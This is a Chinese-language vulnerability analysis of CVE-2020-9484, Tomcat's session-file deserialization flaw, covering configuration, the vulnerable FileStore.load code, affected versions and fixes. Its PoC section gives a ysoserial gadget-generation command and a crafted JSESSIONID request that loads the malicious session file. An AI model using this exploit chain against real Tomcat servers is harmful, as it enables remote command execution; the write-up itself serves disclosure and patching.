CVE-2020-9484 tomcat session反序列化漏洞分析与复现

tomcat session持久化

简介

对 于一个企业级应用而言，Session对象的管理十分重要。Sessio对象的信息一般情况下置于服务器的内存中，当服务器由于故障重启，或应用重新加载 时候，此时的Session信息将全部丢失。为了避免这样的情况，在某些场合可以将服务器的Session数据存放在文件系统或数据库中，这样的操作称为 Session对象的持久化。Session对象在持久化时，存放在其中的对象以序列化的形式存放，这就是为什么一般存放在Session中的数据需要实 现可序列化接口（java.io.Serializable）的原因了。
    当一个Session开始时，Servlet容器会为Session创建一个HttpSession对象。Servlet容器在某些情况下把这些 HttpSession对象从内存中转移到文件系统或数据库中，在需要访问 HttpSession信息时再把它们加载到内存中。

实现

要完成session持久化，存放在session里的对象必须要实现java.io.Serializable 接口。Session的持久化是由Session Manager来管理的。Tomcat提供了两个实现类：

1. org.apache.catalina.session.StandardManager  (默认)
2. org.apache.catalina.session.PersistentManager

配置

存储在本地文件中需要配置conf目录里的context.xml文件在<Context>节点下添加如下<Manager>节点：

<Manager className="org.apache.catalina.session.PersistentManager" 
    debug="0"
    saveOnRestart="false"
    maxActiveSession="-1"
    minIdleSwap="-1"
    maxIdleSwap="-1"
    maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory="../session" />
</Manager>

CVE-2020-9484

漏洞简介

当使用tomcat时，如果使用了tomcat提供的session持久化功能，如果存在文件上传功能，恶意请求者通过一个流程，将能发起一个恶意请求造成服务端远程命令执行。

影响版本

• <= 9.0.34
• <= 8.5.54
• <= 7.0.103

漏洞分析

根据上面配置的className="org.apache.catalina.session.FileStore" ，我们去寻找tomcat源码。这里我使用tomcat7.0.100的代码。

查看FileStore的load方法，代码如下

    public Session load(String id) throws ClassNotFoundException, IOException {
        // Open an input stream to the specified pathname, if any
        File file = file(id);
        Context context = (Context) getManager().getContainer();
        FileInputStream fis = null;
        ObjectInputStream ois = null;
        Loader loader = null;
        ClassLoader classLoader = null;
        ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
        try {
            fis = new FileInputStream(file.getAbsolutePath());
            loader = context.getLoader();
            ois = getObjectInputStream(fis);

            StandardSession session = (StandardSession) manager.createEmptySession();
            session.readObjectData(ois);
            session.setManager(manager);
            return session;

这里我们可以很明显的看出，load方法中，根据打开名为id的文件，将文件中的内容作为反序列化的输入。并且tomcat未过滤诸如../等危险目录。如果配合任意文件上传，传入一个gadget，并调用JSESSION让tomcat加载该上传文件，即可完成反序列化攻击。

当然，在新版tomcat中，通过验证JSESSION的路径，解决该反序列化漏洞

poc

1. 使用ysoserial生成一个反序列化文件

java -jar ysoserial.jar CommonsCollections2 "calc" > /tmp/22222.session

2. 通过JSESSION加载恶意的session持久化文件

GET /bug/api HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=evilFIle

修复方案

1. 检查是否使用tomcat的session持久化功能，如果有，建议关闭
2. 检查项目中文件上传功能是否存在任意上传，这里任意上传指的是可以上传非jsp文件且可以控制上传文件名后缀为session
3. 升级tomcat至最新版本